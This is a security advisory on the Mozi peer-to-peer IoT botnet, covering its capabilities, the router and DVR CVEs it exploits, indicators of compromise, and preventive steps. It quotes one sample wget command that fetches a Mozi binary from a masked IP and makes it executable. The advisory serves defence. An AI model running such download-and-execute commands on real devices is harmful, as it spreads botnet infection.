SEQURETEK

Mozi Botnet

OVERVIEW

A new malware family called Mozi, using several known malware families code– Gafgyt, Mirai and IoT Reaper have been brought together to form a peer-to-peer (P2P) botnet capable of DDoS attacks, data exfiltration and command or payload execution. The Mozi botnet based on distributed hash table protocol is targeting IoT devices.

KNOWLEDGE BASE REGISTER

- Version Control

Issue Date	Version	Prepared by	Approved by
29th Sep 2020	v 1.0	Vidhi Patel	Cdr. Subhash Dutta

OVERVIEW

- Mozi a peer-to-peer (P2P) botnet attack is active since late 2019 and targeting Internet of things (IoT) devices.
- Mozi botnet is based on the distributed sloppy hash table (DSHT) protocol targeting IoT devices, predominantly routers and DVRs that are either unpatched or have weak telnet passwords
- Mozi targets via command injection (CMDi) attacks and taking advantage of IoT device misconfigurations and weak telnet passwords.
- It has four major capabilities:
  1. It can conduct DDoS attack (HTTP, TCP, UDP)
  2. Carry out command execution attack
  3. Download malicious payload from specified URL and execute it
  4. Gather bot information

TECHNICAL DETAILS

- For initial access attackers use command line injection (CMDi) attacks on vulnerable firmware giving access to remote code execution.
- Mozi uses "wget" shell command to download remote code and then change permission to interact with affected system.

```
wget http://xxx.xx.xxx.xxx/bins/mozi.a -o /var/tmp/mozi.a; chmod 777 /var/tmp/mozi.a; rm -rf /var/tmp/mozi.a
```

Figure 1: Sample Command

- Once the attacker gains full access to the device, attacker changes the firmware level and downloads additional malware on the device.
- Post execution, Mozi botnet attempts to bind local UDP port 14737, and finds and kills processes that use ports 1536 and 5888.
- Mozi also attempts to update the access control list to block SSH and telnet to prevent other botnets from using them.

Mozi P2P network

- Mozi botnet uses customized DHT (distributed hash table) protocol to develop P2P network.
- A new Mozi node malware generates ID for it, and then it sends an initial HTTP request to http[:]//ia[.]51[.]la to **register** itself.
- A new node sends a DHT **find_node** query to above eight hardcoded DHT public nodes, connects these nodes, get information and then join the botnet network.

Mozi exploits following vulnerabilities on IoT devices:

Vulnerability	Affected Device
CVE-2017-17215	Huawei HG532
CVE-2018-10561 / CVE-2018-10562	GPON Routers
CVE-2014-8361	Devices using the Realtek SDK
Eir D1000 Wireless Router RCI	Eir D1000 Wireless Router
CVE-2008-4873	Sepal SPBOARD
CVE-2016-6277	Netgear R7000 / R6400
Netgear setup.cgi unauthenticated RCE	Netgear DGN1000
MVPower DVR Command Execution	MVPower DVR TV-7104HE
CVE-2015-2051	D-Link Devices
D-Link UPnP SOAP Command Execution	D-Link Devices
CCTV-DVR Vendors RCE	Multiple CCTV-DVR Vendors

INDICATORS OF COMPROMISE

Domain

http[:]//ia[.]51[.]la

DHT Public Nodes

dht[.]transmissionbt[.]com:6881
router[.]bittorrent[.]com:6881
router[.]utorrent[.]com:6881
bttracker[.]debian[.]org:6881
212[.]129[.]33[.]59:6881
82[.]221[.]103[.]244:6881
130[.]239[.]18[.]159:6881
87[.]98[.]162[.]88:6881

TLP: GREEN

File Hashes

MD5	SHA 256
9A111588A7DB15B796421BD13A949CD4	E15E93DB3CE3A8A22ADB4B18E0E37B93F39C495E4A97008F9B1A9A42E1FAC2B0
4DDE761681684D7EDAD4E5E1FFDB940B	D546509AB6670F9FF31783ED72875DFC0F37FA2B666BD5870EECAAED2EBEA4A8
DD4B6F3216709E193ED9F06C37BCC389	83441D77ABB6CF328E77E372DC17C607FB9C4A261722AE80D83708AE3865053D
86D42D968D3D12C36722E16C78E49FFB	5738F1BC69E78D234DD04E2FBFCFB4B86403FC9117B133CF1BB7CDA67E7AEF0A
EEC5C6C219535FBA3A0492EA8118B397	12013662C71DA69DE977C04CD7021F13A70CF7BED4CA6C82ACBC100464D4B0EF
DBC520EA1518748FEC9FCFCF29755C30	C672798DCA67F796972B42AD0C89E25D589D2E70EB41892D26ADBB6A79F63887
FBE51695E97A45DC61967DC3241A37DC	2E4506802AEDEA2E6D53910DFB296323BE6620AC08C4B799A879EACE5923A7B6
006965027C1F636295B5011A46905121	0EBF64C87066480180B7490AD6770A9B80E7C0E2CB6BA823FC885C4F34E5F166
92DEFD440ACFD41595CE20C9107C3262	E3EE24CE5E90CEEEB100163AE760FFA77844BBF8C37DE87FED1840C5FE2404AB
1BD4F62FDAD18B0C140DCE9AD750F6DE	E90046FF173B57C5D2F16A1FBC45FE132BD843EC5F333D6C2A82A098B8528740
93BE88AB0908A9359D7E5472ACE22FE5	084AB317F916D03022EA12B7009540A0B799B987C7C41003D97D4414F3B82BD9
2560A86361257837B78D7BA289A031FB	73BFB21FE61B184A6914B83B0C742164618DB2A4BAB5FE504CA311B6D9B6834A
2D2FFA0422DB66640561C46B8E428267	FDF2889D0DA4E4BB6B4F6BA6358E194F21650385338E3402302990646C0478BC
9C6539C9F5B3E831D5BCB1357D51D049	16AAC527EBC47F734B5AEC6408C464246C4D0CA7429E842E39F6F57400865877
2F8D6C0C6A449F3C074CFC0D6C8DBFC6	3768EB4B9101258F86D5F1CEA1138C6DF1F2EF6B13C82ED0186F2554BF0B04A1
B08D4099B14E37CEDA1923681A2F70F2	F37C7A78166735816E66FA00886B9D81592731601823FBB76F2285CDE62ECC03
300F850C0186077550830FA35EDDDC4E	018EAEB1A8EF1BD566A2B87C462316E1071696D0B58F99F60E90F4164DCE52B0
C16FEDA9AD177C8F7E6A07F57D84851F	82267BAA5EC4FCA4F39EC61D85AAE8F90E92CCBA821B9CE92D74804127E1BF71
39434E0D800B62A72E8DFA202E2DA9CD	8ACCD39E03FCE77EBE73107ADE5BAC4ADC63C9EBE0C600181D8F6F7DCC5215FD
C46327A65A1F9BF9C367FBDA95F1BD22	7AC12520C1F294001AA4FD43B5E103E883738089877C94DBD5F62BB955173A8F

3A103AB0DA4D13CCC9ED2D612DE71441	0A9A5CC107E7225529BC04A8EC1C880AF34155C2FF778D90EFA7118BC2E5414D
D107C5DC752CD262CD4D6C461C8583C4	2C281D35251DCF6E3B0F7536894A1368A1270A26E17BF189A1E6EB8E4B2DEF5F
5B9B2A796C88DA82D75553C48488B63F	C67195FF6814D2A2C8FDF235841FB9442E66A10D6096336EF3D51C2DECB48FF7
D2B8A429BCF9E0ECA54939E2CD4408DC	5ECFE9B180AD21BB522A0028DC03E6C3C235EF7D2C401E899A246206544AD490
635D926CACE851BEF7DF910D8CB5F647	BBA18438991935A5FB91C8F315D08792C2326B2CE19F2BE117F7DAB984C47BDF
D71D01D469414E992DED9038EA761564	06FCC8E49DD2570A56318D255404540ED380E284AD00866E0CE0F3052BE4BD58
649E482199C9EB826FA0FCA7016C325D	3A31793B73636F0A26518DEE30E5B354E8FA03276C636C06C4A64CDCB1ACE534
D96BBC2B1E5CC6B085BF04A8E487632E	1E7CA3E32D11F96A8B112175973A0869F16449077365F7A51BB09B4D3375861A
68BF06FB2A8CEF72A61B01DCD10FD10D	01D8E2BCF22422E9C995D43C403C63477389FC9F4A141EF3BBD31C8F5C6EF7E6
B9E122860983D035A21F6984A92BFB22	64CD497A29A6801DAA66B3CA23B63A1355B0B84FDF5A23A12810B88685B22F63
6AA92A03083A19783DDF4E4913C230D3	756FE8CF9A6A34C0F047D067CF7ACE367FD1667A9F64CADF06EB88A4D5EC8D0E
EDA730498B3D0A97066807A2D98909F3	FABECE475F5A63D9C58CE5F7FB1F8D4E9C7171AC5D603B7B1EC31B0932008CD3
781228E0A889C0624A5F1D8E9F5B0B30	832FB4090879C1BEBE75BEA939A9C5724DBF87898FEBD425F94F7E03EE687D3B
849B165F28AE8B1CEBE0C7430F44AFF3	C6F6CA23761292552E6EA5F12496DC9C73374BE0C5F9D0B2142CA3AE0BB8FE14
868180D3F78AE330C8AB4E6C20045930	190C13563BE0E74E5FFCCEA34BD63103177ECC4C8A764E1D6C6898A54E9AE70A
8BFBDA4203CFB4BB7AAEAFE7AFE9748A	1F7F81494C4A9508E247EA78DB9EC184AA0A74BE7712D9A643CEA3B087C566EE
8D207E2B6D13EBD5FC4430EF3670558F	B9148379ED5D8A4B8AD58EC9F2E755DDEF9D90A16522C7DF00702AE73272A6F8
8E81F08432BA7D64C67032A2A5580A48	AEE85CF36C53DC0345D75CFFD2CE8BDAAC23907AF102CDF4F9820BD7DB2349EC
3313E9CC72E7CF75851DC62B84CA932C	9E0A15A4318E3E788BAD61398B8A40D4916D63AB27B47F3BDBE329C462193600
3849F30B51A5C49E8D1546960CC206C7	F6C97B1E2ED02578CA1066C8235BA4F991E645F89012406C639DBCCC6582EEC8

PREVENTIVE AND CORRECTIVE DEFENCE ACTIONS

- Preventive Actions
  - Block the IoCs in the corresponding security devices.
  - All these IoCs are combined in our Threat Intelligence Feed that is integrated with our SOC to provide proactive threat protection to our clients.
  - Keep IoT firmware up-to-date with necessary patches.
  - Change Default password.
  - Change default configuration.
  - Use strong SSH, Telnet passwords.
  - If possible change IoT devices' SSH port.
  - Disable SSH access if the service is not needed.

- Corrective Actions
  - If infected, disconnect the affected system from the Network.